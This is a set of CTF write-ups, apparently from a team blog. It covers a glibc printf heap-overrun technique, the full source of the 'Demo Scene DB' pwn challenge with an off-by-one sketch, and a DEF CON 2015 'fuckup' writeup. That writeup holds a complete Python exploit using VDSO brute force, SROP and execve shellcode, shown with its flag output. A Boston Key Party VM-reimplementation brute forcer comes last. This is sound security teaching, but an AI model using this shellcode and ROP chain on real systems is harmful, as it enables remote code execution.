if (!scratch_buffer_grow_preserve (&specsbuf))
{
done = -1;
goto all_done;
}
specs = specsbuf.data;
specs_limit = specsbuf.length / sizeof (specs[0]);
}

/* Parse the format specifier. */
#ifdef COMPILE_WPRINTF
nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
#else
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
#endif
}

printf_positional uses struct scratch_buffer, which is a wrapper of glibc heap allocator. Moreover its size grows based on sizeof(specs[0])(= 0x48 bytes)!
The requirement to use this allocation for filling the hole is easy:

  1. The format string contains a positional argument.
  2. It holds 0x10000 < nspecs*sizeof(specs[0]) <= 0x20000.
    So actually the needed format string should be quite simple like: “%1$c” + “%c” * 1000.

I think now you understand that you can fill the guard hole and cause a overrun on the mapping directly below the sandboxed stack with this format string.
Then what is that mapping and what can you do for it?

The answer is that the mapping is the TLS area and you can overwrite the saved-rbp value in it.
At line 52, asm volatile("movq %rbp, %fs:0x200"); saves the original rbp value into %fs:0x200, which is in the TLS area.
So you can just do ROP after realizing this :)

Demo Scene DB

This problems seems to have some unintended solution because 217’s solution looks unfamiliar to me…
So I would like to talk about my solution only briefly because it is shameful to introduce unrefined solutions.

Here is the source code:

demo_scene_db.cview raw
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
/*
gcc demo_scene_db.c -o demo_scene_db -Wl,-z,relro,-z,now -Wl,-s -fstack-protector-all
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <inttypes.h>
#include <stdarg.h>

#define MAX_NUM_ANIME 512

typedef char Html[0x100];

struct Animation {
char description[0xf0];
uint64_t size_scenes;
Html scenes[];
};

struct SampleAnimation {
char description[0xf0];
uint64_t size_scenes;
Html scenes[3];
};

#define LUMP_BIT (1)
#define IS_LUMP(anime) ((anime)->size_scenes & LUMP_BIT)
#define GET_SIZE(anime) ((anime)->size_scenes & ~LUMP_BIT)

int fd;
uint64_t cmd;
uint64_t num_animations;
struct Animation *animations[MAX_NUM_ANIME];

void _edit_scenes(struct Animation *anime);

size_t read_fd(char *buf, size_t buf_size, char splitter) {
size_t i = 0;

if (buf_size == 0) return 0;

while (i < buf_size - 1) {
if (read(fd, buf+i, 1) != 1 || buf[i] == splitter || buf[i] == '\0') {
buf[i] = '\0';
break;
}

++i;
}

if (i == buf_size - 1) buf[i] = '\0';
return i;
}

void send_fd(char *buf, size_t buf_size) {
send(fd, buf, buf_size, 0);
}

#define myputs(s) send_fd(s "\n", sizeof(s "\n"))

uint64_t get_integer() {
uint64_t ret = 0;
char buf[16];
read_fd(buf, sizeof(buf), '\n');
sscanf(buf, "%" SCNu64, &ret);
return ret;
}

void print_banner(void) {
myputs(" ");
myputs(" ██████╗ ███████╗███╗ ███╗ ██████╗ ███████╗ ██████╗███████╗███╗ ██╗███████╗ ██████╗ ██████╗ ");
myputs(" ██╔══██╗██╔════╝████╗ ████║██╔═══██╗ ██╔════╝██╔════╝██╔════╝████╗ ██║██╔════╝ ██╔══██╗██╔══██╗ ");
myputs(" ██║ ██║█████╗ ██╔████╔██║██║ ██║ ███████╗██║ █████╗ ██╔██╗ ██║█████╗ ██║ ██║██████╔╝ ");
myputs(" ██║ ██║██╔══╝ ██║╚██╔╝██║██║ ██║ ╚════██║██║ ██╔══╝ ██║╚██╗██║██╔══╝ ██║ ██║██╔══██╗ ");
myputs(" ██████╔╝███████╗██║ ╚═╝ ██║╚██████╔╝ ███████║╚██████╗███████╗██║ ╚████║███████╗ ██████╔╝██████╔╝ ");
myputs(" ╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝╚══════╝╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚═════╝ ");
myputs(" \n");
}

void print_menu(void) {
myputs("========== Menu =========");
myputs("1: create animation");
myputs("2: edit description");
myputs("3: edit scenes");
myputs("4: show animations");
myputs("5: copy animation");
myputs("6: combine two animations");
myputs("7: exit");
myputs("=========================\n");
}

void create_animation(void) {
char res[3];
uint64_t num;

if (num_animations >= MAX_NUM_ANIME) {
myputs("You have enough animations, don't you?");
_exit(0);
}

dprintf(fd, "How many scenes does your animation use?: ");
num = get_integer();
if (num > 0x1000) {
fprintf(stderr, "You wanna trouble me, ha?");
_exit(0);
}

animations[num_animations] = calloc(1, sizeof(struct Animation) + sizeof(Html)*num);
if (!animations[num_animations]) {
fprintf(stderr, "This is unfortunate for you...");
_exit(0);
}

animations[num_animations]->size_scenes = sizeof(Html)*num;
dprintf(fd, "Do you want to use the region as one scene?[Y/n]: ");
read_fd(res, sizeof(res), '\n');
if (res[0] == 'Y' || res[0] == 'y') {
animations[num_animations]->size_scenes |= LUMP_BIT;
}

read_fd(animations[num_animations]->description, 0xf0, '\n');
_edit_scenes(animations[num_animations]);

myputs("Your new animation has been created successfully.");
++num_animations;
}

void edit_description(void) {
dprintf(fd, "Which description do you want to edit?: ");

uint64_t idx = get_integer();
if (idx >= num_animations) {
fprintf(stderr, "No nip-slip.");
_exit(0);
}

read_fd(animations[idx]->description, 0xf0, '\n');
myputs("Done.");
}

void _edit_scenes(struct Animation *anime) {
if (IS_LUMP(anime)) {
read_fd((char*)anime->scenes, GET_SIZE(anime), '\n');
} else {
uint64_t i;
uint64_t lim = anime->size_scenes/sizeof(Html);
for (i=0; i<lim; i++) {
read_fd(anime->scenes[i], sizeof(Html), '\n');
}
}
}

void edit_scenes(void) {
dprintf(fd, "Which scenes do you want to edit?: ");

uint64_t idx = get_integer();
if (idx >= num_animations) {
fprintf(stderr, "Shame on you!");
_exit(0);
}

_edit_scenes(animations[idx]);
myputs("Completed.");
}

void show_animations(void) {
uint64_t i;

dprintf(fd, "====== Animations =====");
for (i=0; i<num_animations; i++) {
dprintf(fd, "\n\n#%" PRIu64 ": \n", i);
dprintf(fd, "Desc: %s", animations[i]->description);
dprintf(fd, "\nScenes: ");
if (IS_LUMP(animations[i])) {
send_fd((char*)animations[i]->scenes, GET_SIZE(animations[i]));
} else {
uint64_t j;
uint64_t lim = animations[i]->size_scenes/sizeof(Html);
for (j=0; j<lim; j++) {
send_fd(animations[i]->scenes[j], strlen(animations[i]->scenes[j]));
}
}
}
myputs("\n\n\n=======================\n");
}

void copy_animation(void) {
uint64_t from, to;

dprintf(fd, "Which animation do you want to copy?: ");
from = get_integer();

dprintf(fd, "Dest: ");
to = get_integer();

if (from >= num_animations || to >= num_animations || from == to) {
fprintf(stderr, "I'm sorry. I can't hear you!");
_exit(0);
}

uint64_t used_size;
uint64_t size_from = animations[from]->size_scenes;
uint64_t size_to = animations[to]->size_scenes;
if (IS_LUMP(animations[from])) {
if ((size_to & LUMP_BIT) == 0 && (size_from&~LUMP_BIT) > sizeof(Html)) {
myputs("Watch out!");
return;
}

memset(animations[to]->scenes, '\0', size_to & ~LUMP_BIT);

used_size = size_from&~LUMP_BIT;
if (size_to < used_size) {
used_size = size_to;
}

memmove(animations[to]->scenes, animations[from]->scenes, used_size);
} else {
used_size = size_from;
if (size_to < used_size) {
used_size = size_to;
}

if (size_to & LUMP_BIT) {
((char*)animations[to]->scenes)[0] = '\0';
}

uint64_t i;
uint64_t lim = used_size/sizeof(Html);
for (i=0; i<lim; i++) {
if (size_to & LUMP_BIT) {
strcat((char*)animations[to]->scenes, animations[from]->scenes[i]);
} else {
strcpy(animations[to]->scenes[i], animations[from]->scenes[i]);
}
}
}

memmove(animations[to]->description, animations[from]->description, 0xf0);
}

void combine_animations(void) {
uint64_t a, b;

if (num_animations >= MAX_NUM_ANIME) {
fprintf(stderr, "You have enough animations, don't you?");
_exit(0);
}

dprintf(fd, "Which animations do you want to combine?: ");
a = get_integer();
b = get_integer();
if (a >= num_animations || b >= num_animations || a == b) {
fprintf(stderr, "Connection Refused :(");
_exit(0);
}

if (IS_LUMP(animations[a]) || IS_LUMP(animations[b])) {
uint64_t new_size = 0;

if (IS_LUMP(animations[a])) {
new_size += GET_SIZE(animations[a]);
if (new_size < GET_SIZE(animations[a])) {
fprintf(stderr, "pity");
_exit(0);
}
} else {
uint64_t i;
for (i=0; i<animations[a]->size_scenes/sizeof(Html); i++) {
uint64_t n = strlen(animations[a]->scenes[i]);
new_size += n;
if (new_size < n) {
fprintf(stderr, "pity");
_exit(0);
}
}
}

if (IS_LUMP(animations[b])) {
new_size += GET_SIZE(animations[b]);
if (new_size < GET_SIZE(animations[b])) {
fprintf(stderr, "pity");
_exit(0);
}
} else {
uint64_t i;
for (i=0; i<animations[b]->size_scenes/sizeof(Html); i++) {
uint64_t n = strlen(animations[b]->scenes[i]);
new_size += n;
if (new_size < n) {
fprintf(stderr, "pity");
_exit(0);
}
}
}

new_size += 1;
if (new_size < 1) {
fprintf(stderr, "pity");
_exit(0);
}

struct Animation *new_ref;
if (GET_SIZE(animations[a]) >= new_size) {
new_ref = animations[a];
} else if (GET_SIZE(animations[b]) >= new_size) {
new_ref = animations[b];
uint64_t tmp = a;
a = b;
b = tmp;
} else {
uint64_t num = new_size/sizeof(Html) + (new_size%sizeof(Html) != 0);
new_ref = calloc(1, sizeof(struct Animation) + sizeof(Html)*num);
new_ref->size_scenes = sizeof(Html)*num;
animations[num_animations] = new_ref;
++num_animations;
}

read_fd(new_ref->description, 0xf0, '\n');

char *p = (char*)new_ref->scenes;
if (IS_LUMP(animations[a])) {
memmove(p, animations[a]->scenes, GET_SIZE(animations[a]));
p += GET_SIZE(animations[a]);
} else {
uint64_t i;
for (i=0; i<animations[a]->size_scenes/sizeof(Html); i++) {
uint64_t n = strlen(animations[a]->scenes[i]);
memmove(p, animations[a]->scenes[i], n);
p += n;
}
}

if (IS_LUMP(animations[b])) {
memmove(p, animations[b]->scenes, GET_SIZE(animations[b]));
p += GET_SIZE(animations[b]);
} else {
uint64_t i;
for (i=0; i<animations[b]->size_scenes/sizeof(Html); i++) {
uint64_t n = strlen(animations[b]->scenes[i]);
memmove(p, animations[b]->scenes[i], n);
p += n;
}
}

new_ref->size_scenes |= LUMP_BIT;
*p = '\0';
} else {
uint64_t new_size = animations[a]->size_scenes + animations[b]->size_scenes;
if (new_size < animations[a]->size_scenes) {
fprintf(stderr, "pity");
_exit(0);
}

struct Animation *new_ref;
if (animations[a]->size_scenes >= new_size) {
new_ref = animations[a];
} else if (animations[b]->size_scenes >= new_size) {
new_ref = animations[b];
} else {
new_ref = calloc(1, sizeof(struct Animation) + new_size);
new_ref->size_scenes = new_size;
animations[num_animations] = new_ref;
++num_animations;
}

read_fd(new_ref->description, 0xf0, '\n');

char *p = (char*)new_ref->scenes;
memmove(p, animations[a]->scenes, animations[a]->size_scenes);
p += animations[a]->size_scenes;
memmove(p, animations[b]->scenes, animations[b]->size_scenes);
new_ref->size_scenes &= ~LUMP_BIT;
}

myputs("LGTM");
}

void service(int csock) {
struct SampleAnimation sample;

fd = csock;
dup2(fd, STDERR_FILENO);

alarm(600);
print_banner();

num_animations = 1;
animations[0] = (struct Animation*) &sample;
strcpy(animations[0]->description, "A sample minidemo from http://www.p01.org/");
animations[0]->size_scenes = sizeof(Html) * 3;
strcpy(animations[0]->scenes[0], "<body onload=setInterval(\"for(t-=.1,x=h,c.height=300,Q=Math.cos;x--;)for(y=h;y--;c.getContext('2d').fillRect(x*4,y*4,N,N))for(N=D=4;X=D*x/h-D/2,Y=D*y/h-D/2,Z=D/2-9,D+=d=(X*X+Y*Y*Q(t/6+Q(D-X-Y))+Z*Z)/9-1+Q(X+t)*Q(Y-t),.1<d*N;)N-=.1\",t=h=75)><canvas id=c>");
strcpy(animations[0]->scenes[1], "<body onload=E=c.getContext(\"2d\"),setInterval(F=\"t+=.2,Q=Math.cos;c.height=300;for(x=h;x--;)for(y=h;y--;E.fillRect(x*4,y*4,b-d?4:D/2,D/2))for(D=0;'.'<F[D*y/h-D/2|0?1:(d=t+D*Q(T=x/h-.5+Q(t)/8)&7)|(3.5+D*Q(T-8))<<3]&&D<8;b=d)D+=.1\",t=h=75)><canvas id=c>");
strcpy(animations[0]->scenes[2], "<body onload=setInterval(F=\";t+=.1;Q=Math.cos;for(x=n=c.height=300;x-=4;)for(y=n;y-=4;d.fillRect(x,y,E,Z^_?4:E))for(D=0;(E=4-D/2)&&F<F[(t+D*Q(T=x/n-.5+Q(t/9))&7)*8|(Z=3.7+D*Q(T-8)&7)*4|(6.5-D*y/n-E)];_=Z)D+=1/8\",t=55),d=c.getContext('2d')><canvas id=c>");

while (1) {
print_menu();

dprintf(fd, "> ");
cmd = get_integer();

if (cmd == 1) {
create_animation();
} else if (cmd == 2) {
edit_description();
} else if (cmd == 3) {
edit_scenes();
} else if (cmd == 4) {
show_animations();
} else if (cmd == 5) {
copy_animation();
} else if (cmd == 6) {
combine_animations();
} else if (cmd == 7) {
break;
} else {
fprintf(stderr, "Undefined command: %" PRIu64 "\n", cmd);
}
}

while (num_animations > 1) {
free(animations[num_animations-1]);
--num_animations;
}
}

uint64_t cookie = 0;
void overwrite_cookie() {
int fd;
int ret;

fd = open("/dev/urandom", O_RDONLY);
if (fd < 0) _exit(0);

ret = read(fd, &cookie, sizeof(cookie) - 1);
if (ret != sizeof(cookie) - 1) _exit(0);
close(fd);

asm volatile(
".intel_syntax noprefix\n"
"mov rax, cookie\n"
"mov fs:0x28, rax\n"
"mov [rbp-0x8], rax\n"
".att_syntax noprefix\n"
);

cookie = 0; // erase from static mem
}

int main(void) {
struct sockaddr_in addr;
socklen_t addrlen;
int server_sock;
int client_sock;
int opt = 1;

signal(SIGCHLD, SIG_IGN);

server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (server_sock == -1) {
_exit(-1);
}

setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(11451);

if (bind(server_sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
_exit(-1);
}

listen(server_sock, 5);
while (1) {
addrlen = sizeof(addr);

memset(&addr, 0, addrlen);
client_sock = accept(server_sock, (struct sockaddr *)&addr, &addrlen);

if (fork() == 0) {
close(server_sock);

if (setsid() != -1) {
overwrite_cookie();
service(client_sock);
fclose(stderr);
}

shutdown(client_sock, SHUT_RDWR);
close(client_sock);
_exit(0);
}

close(client_sock);
}
}

This problems requires a bit harder reversing compared to my other problems(but this is average, isn’t it??).
The vulnerability is an off-by-one at line 226.
Because free won’t be called until the program ends, you can’t solve this problem the same way as PlaidDB(but I’m not sure. Wait for 217).
Instead, you can cause an off-by-one with an arbitrary value, not null.
So if you set NON_MAIN_ARENA bit, you can use some technique similar to House of Mind.
Then all that is left is overwrite something like stderr in malloc_consolidate called by _int_free. This is similar to unsorted bin attack.

That’s all!
Again, congratulations Cykor and 217 for their solving all of pwn problems!
I’m feeling they are crazy because even I’m having a hard time to solve my problems for writing write-ups of those… :P

written by hugeh0ge(@hugeh0ge)

DEF CON CTF 2015 - fuckup (pwn3) Writeup

Description

fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me:2000
OR
fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me:46387
Download

Introduction

This is a PoC service for the new and improved ASLR, “Fully Unguessable Convoluted Kinetogenic Userspace Pseudoransomization”(F.U.C.K.U.P. for short).
Each time a user executes a command, F.U.C.K.U.P. changes the base address of memory where the binary is mapped according to a random number produced by the generation algorithm similar to WELL512.

We can select from the following commands:

  1. Quit: simply return 0;.
  2. Display info: Display an introduction. Nothing interesting.
  3. Change random: Generate a random value and move mappings correspondingly.
  4. View state info: Show the current random value and then change the value as same as “Change random”.
  5. Test stack smash: Cause stack based buffer overflow by 100 bytes against a 10-byte buffer.

Actually, I don’t know the detailed implementations of these commands except for “Test stack smash”, for it was not I but another team member who coped with this challenge at first.
It seems that the author’s intended solution is to use SMT solver like z3 to predict random values generated, and my teammate attempted to do that.
It, however, didn’t work correctly since we were unfamiliar with and poor at using SMT solver.
So I decided to try to solve this problem by the really “pwnwise” solution.

First, I suspected Partial Overwrite could be used.
Yes, actually it can be.
Reading stack_smash(sub_8048521), there is called read_n(sub_8048363) which simply receives input as this:

1
2
3
4
5
sum = 0;
do {
nread = read(0, addr, n-sum);
if (nread != -1) sum += nread;
} while (sum < n);

As you may see, this implementation is weird because using read(0, addr, n-sum) instead of read(0, addr+sum, n-sum).
Therefore, it is possible to do Partial Overwrite by splitting input into several.
@wapiflapi, a great hacker in France shares the exploit using this method(http://hastebin.com/iyinepaxen.py).
Very simple, isn’t it?

BUT I COULD NOT COME UP WITH IT.
Because I misread read_n as read(0, addr+sum, n-sum).
So at that time I thought “Wow, nice security. I have no choice but to overwrite a buffer completely by 100 bytes. If I can’t use Partial Overwrite, then how can I solve this…?”. Too stupid.
Okay, let me explain how I solved this problem even though I couldn’t use z3 and Partial Overwrite.

Solution

Thinking that the return address is always overwritten by a buffer overflow, I had to overwrite it with some valid address.
Here, valid address means a address being mapped and executable.
So there are two possible ways to exploit the binary:

  1. Fix valid addresses somehow.
  2. Use the addresses which are always fixed.

I thought the former could be realized because the number of mapped addresses goes on increasing by change_mapping(sub_80481A6).
In change_mapping, mmap is called like this:

1
2
3
4
5
6
7
do
{
seedf = randf(state) * 4294967295.0;
seedl = (int)seedf;
expect = (void *)(seedl & 0xFFFFF000);
actual = mmap(expect, 0x7000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
} while (expect != actual);

As you can see, the mapped addresses won’t be unmapped even if it fails to establish mappings at expected addresses.
Therefore, the more the number of mapped addresses has increased, the less the number of the possible addresses capable of being becomes.
But this approach isn’t realistic because it needs to do “Change random” many times(about thouthands or hundreds of thouthands times).

The latter, actually, can be realized: using VDSO.
I think everyone knows this, but VDSO ASLR is weaker than ASLR on the other sections(that entropy is usually only 2 bytes) and there is a famous exploit method, Sigreturn Oriented Programming(SROP).
That means we can solve this problem by doing brute force 256 times.
It was a little bit difficult for me to write the exploit due to the limitation that I had to do ROP only with gadgets on VDSO and that I was allowed to use only 78 bytes for ROP.
Why stack_addr = vdso - 0x800 does work correctly is described in my paper.
sysenter is a good gadget for stack pivotting!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import subprocess
import socket
import re
import sys
import random
from struct import pack, unpack
from Frame import SigreturnFrame
from time import sleep
from sys import argv

TARGET = ('localhost', 6666)
if len(argv) > 1:
TARGET = ('fuckup_56f604b0ea918206dcb332339a819344.quals.shallweplayaga.me', 2000)

OFFSET_SR = 0x401
OFFSET_SC = 0x42e
OFFSET_SY = 0x425
OFFSET_POP = 0x431
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x54\x59\x50\x5a\x6a\x0b\x58\xcd\x80"

RANGE_VDSO = range(0xf7700000, 0xf7800000, 0x1000)

def recv_until(sock, pat):
buf = b''
while buf.find(pat) == -1:
buf += sock.recv(1)
return buf

def main():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(TARGET)

vdso = random.choice(RANGE_VDSO)
stack_addr = vdso - 0x800
shellcode_addr = vdso - 0x1000
print "vdso:", hex(vdso)

data = b'\x00' * (0x16)
data += pack('<I', vdso + OFFSET_POP) # pop edx, ecx
data += pack("<I", 2304) # edx
data += pack("<I", shellcode_addr) # ecx

data += pack('<I', vdso + OFFSET_SC) # read(eax=3)
data += pack("<I", stack_addr)
data += pack("<I", stack_addr)
data += pack("<I", stack_addr)

data += pack('<I', vdso + OFFSET_SY) # sysenter

print "data:", len(data)
data = data.ljust(100, 'A')
assert(len(data) == 100)

recv_until(sock, b'0. Quit')
sock.sendall(b'4\n')
recv_until(sock, b'stop code execution')

sock.sendall(data[:-3])
sock.sendall("")
sleep(1)
sock.sendall(data[-3:]) # eax = 3

stack = ""
stack += pack("<I", 0xdeadbeef) * 3
stack += pack("<I", vdso + OFFSET_SR)

frame = SigreturnFrame(arch="x86")
frame.set_regvalue("eax", 0x7d) # mprotect
frame.set_regvalue("ebx", shellcode_addr) # addr
frame.set_regvalue("ecx", 0x1000) # len
frame.set_regvalue("edx", 7) # prot
frame.set_regvalue("eip", vdso + OFFSET_SC)
frame.set_regvalue("esp", stack_addr+0x80)
frame.set_regvalue("ds", 0x2b)
frame.set_regvalue("es", 0x2b)

stack += frame.get_frame()
stack += pack("<I", shellcode_addr) * 40

sleep(1)

payload = SHELLCODE
payload = payload.ljust(0x800, "\x90")
payload += stack
print "payload:", len(payload)
assert(len(payload) <= 0x1000)

sleep(1)
sock.sendall(payload)
sleep(0.1)

sock.sendall("ls\n")
sock.sendall("ls /home\n")
sock.sendall("ls /home/fuckup\n")
sock.sendall("ls /home/fuckup/flag\n")
sock.sendall("ls /home/fuckup/*flag*\n")
sock.sendall("cat /home/fuckup/*flag*\n")

sleep(1)

resp = ""
resp += sock.recv(65535)
if resp == '' or resp == '\n':
raise Exception("Failed")
print [resp]
raw_input()

if __name__ == '__main__':
i = 1
while True:
print "\nTry {}:".format(i)
try:
main()
except Exception as e:
print e
pass
i += 1

Using Frame.py.

1
['\nbin\nboot\ndev\netc\nhome\ninitrd.img\ninitrd.img.old\nlib\nlib64\nlost+found\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\nvmlinuz\nvmlinuz.old\nfuckup\nubuntu\nflag\nfuckup\n/home/fuckup/flag\n/home/fuckup/flag\nThe flag is: z3 always helps\n']

##Summary

Sleep enough not to misread disas.

written by hugeh0ge(@hugeh0ge)

Boston Key Party CTF 2015 - Oak Grove (rev300) Writeup

This crappy 3ds homebrew is protected by some anti-piracy scheme. Can you crack it? : 300
http://bostonkeyparty.net/3ds.3dsx.aea77af56f33d08026adf0a3c9fcdaf5OD

The binary is a 3DS homebrew for NINJHAX and is in 3DSX format. After several minutes of googling, we found out that there is no IDA Loader for 3DSX at the moment of BKP. We wrote simple IDA Loader for 3DSX and analyzed the binary using IDA. (We don’t publish the loader because another player published a better one after the BKP :) https://github.com/0xEBFE/3DSX-IDA-PRO-Loader)

The homebrew is obfuscated by the virtual machine. This virtual machine is slightly buggy (missing break in a switch case, pop on an empty stack). Manual analysis found that the VM code reads 16 bytes from a file ‘SHiT’ and compares the contents char by char with embedded values. The VM code increments a counter (dword_33BC0) as characters match the embedded values. If the counter is 100 at the end of VM code, the homebrew outputs ‘Winner, please submit your flag!’.

As reverse-engineering of the whole obfuscated VM code seemed to be troublesome and easy to mistake, we implemented the same virtual machine in Python and did bruteforce for SHiT.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#!/usr/bin/env python3
import sys
import string

FLAGLEN = 16
CHARS = bytes(string.printable, 'ascii')
CODE = b''
with open('3ds.3dsx.aea77af56f33d08026adf0a3c9fcdaf5OD', 'rb') as f:
f.seek(0x2abd4)
CODE = f.read(0x1d0)

class VirtualMachine(object):

def __init__(self, code, flag):
self.dword_33BC0 = self.R7 = self.ip = 0
self.stack = []
self.flag = flag
self.code = code

def getb(self):
val = self.code[self.ip]
self.ip += 1
return val

def jmp(self, n):
self.ip += n

def push(self, val):
self.stack.append(val)

def pop(self):
try:
return self.stack.pop()
except IndexError:
self.log('empty pop')
return 0

def log(self, msg):
#print('[*] %04x: %s' % (self.ip, msg), file=sys.stderr)
pass

def inst11(self):
arg1 = self.getb()
if self.R7 == 0:
self.jmp(arg1)
self.inst57()

def inst57(self):
arg1 = self.getb()
self.push((self.pop() ^ arg1) & 0xff)

def inst48(self):
filename = ''
ch = -1
while ch != 0:
ch = self.pop()
filename += chr(ch)
self.log('fopen("%s", "r")' % filename)

def inst51(self):
self.log('exit(0)')
raise Exception('exit')

def inst17(self):
self.pop()

def inst40(self):
self.log('getchar()')
self.push(self.flag.pop())

def inst0(self):
self.log('unk_0')
# Not Implemented

def inst52(self):
arg1 = self.getb()
self.push((self.pop() - arg1) & 0xff)

def inst49(self):
arg1 = self.getb()
self.push(arg1)

def inst27(self):
self.push(0)

def inst20(self):
self.push(len(self.stack))

def inst59(self):
v1 = self.pop()
v2 = self.pop()
self.push(v1)
self.push(v2)

def inst24(self):
self.dword_33BC0 += 1

def inst46(self, ):
self.push((self.pop() * arg1) & 0xff)

def inst43(self, ):
arg1 = self.getb()
if self.R7 != 0:
self.jmp(arg1)
self.R7 = 1

def inst42(self):
self.push((self.pop() + 1) & 0xff)

def inst38(self):
self.push(0)

def inst37(self):
self.push((self.pop() - 1) & 0xff)

def inst36(self):
self.log('cmp')
arg1 = self.getb()
val = self.pop()
self.R7 = 1 if val == arg1 else 0

def inst34(self):
arg1 = self.getb()
self.push((self.pop() + arg1) & 0xff)

def run(self):
instdict = {
11:self.inst11,
57:self.inst57,
48:self.inst48,
51:self.inst51,
17:self.inst17,
56:self.inst17, # same
40:self.inst40,
0:self.inst0,
52:self.inst52,
49:self.inst49,
27:self.inst27,
20:self.inst20,
59:self.inst59,
24:self.inst24,
46:self.inst46,
43:self.inst43,
42:self.inst42,
38:self.inst38,
37:self.inst37,
36:self.inst36,
34:self.inst34,
}

while self.ip < len(self.code):
inst = self.getb() - 0x3f
if inst not in instdict:
self.log('Undefined instruction')
continue

try:
instdict[inst]()
except Exception as e:
if e.args[0] == 'exit':
break
else:
raise e

return self.dword_33BC0

def _bruteforce_flag(flag):
cntdict = {}
for i in (i for i, v in enumerate(flag) if v == 0):
for ch in CHARS:
flagcand = flag[::]
flagcand[i] = ch

vm = VirtualMachine(CODE, flagcand[::])
cntdict[tuple(flagcand)] = vm.run()

return cntdict

def bruteforce_flag(flag, prevcnt):
cntdict = _bruteforce_flag(flag)

for k in (k for k in cntdict if cntdict[k] > prevcnt):
cnt = cntdict[k]
if cnt == 100:
print(bytes(k).decode('ascii')[::-1])
quit()
else:
bruteforce_flag(list(k), cnt)

def main():
flag = [0] * FLAGLEN
bruteforce_flag(flag, 0)

if __name__ == '__main__':
main()
1
2
3
4
% time ./bruteforce.py
r_u_t34m_g473w4y
./bruteforce.py 6.02s user 0.00s system 99% cpu 6.021 total
%

written by op(@6f70)